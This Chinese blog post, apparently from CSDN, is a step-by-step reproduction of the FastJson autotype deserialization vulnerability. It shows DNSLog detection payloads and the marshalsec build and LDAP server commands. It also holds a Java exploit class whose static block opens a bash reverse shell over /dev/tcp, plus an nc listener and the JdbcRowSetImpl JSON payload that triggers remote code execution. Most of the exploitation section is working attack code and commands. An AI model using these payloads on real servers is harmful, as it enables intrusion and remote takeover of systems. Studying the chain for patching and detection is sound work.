FastJson反序列化漏洞(复现)

漏洞介绍

FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。

详细描述

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload

漏洞复现

LOGIN页面登录抓包

添加字符破环原始json数据发现为fastjson

验证是否存在fastjson漏洞(可利用Burp插件或检测脚本)

或利用以下Payload DNSLog验证

{
 "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn地址/zcc",
 "autoCommit":true
 }
}

通过检测发现存在漏洞。

漏洞利用

前期准备:

1. 工具:GitHub - mbechler/marshalsec

下载后进入目录利用以下语句进行编译

 mvn clean package -DskipTests
 
 #编译可能会遇到问题,在此遇到JAVAC没装,装一下JAVAC就可以了(无报错请忽略)
 yum install java-devel

编译完成后会在target目录生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件

2. 新建一个fastjson.java文件,写exp代码。

vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
 
public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/反弹IP端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac编译生成fastjson.class文件

javac ./fastjson.java

3. 新建窗口,启动http服务

python3 -m http.server 8000

本地访问,测试是否服务正常启动。

4. 新建窗口 VPS服务器启动LDAP服务,监听1099端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://web服务IP:8000/#fastjson" 1099

5. 服务器监听4444端口(与3步fastjson.java中写的反弹ip端口一直)

nc -lvvp 4444  

6. 返回BURP构造Payload反弹Shell

{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1099/fastjson",    #启动的LDAP服务ip+端口 (第5步)   
"autoCommit":true
}
}

FastJson验证

抓包改为POST方式,添加字符破坏原有数据,返回包会出现fastjson字样,但是这个可以屏蔽
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog地址"}
{"@type":"java.net.Inet6Address","val":"dnslog地址"}

发现了fastjson指纹,可以通过burp插件或脚本,检测是否存在漏洞。

相关工具:点击关注公众号:7Seven安全

参考:FastJson漏洞讲解:

关于fastjson 漏洞原理分析_toforu的博客-CSDN博客_fastjson漏洞原理

威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南_shell

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值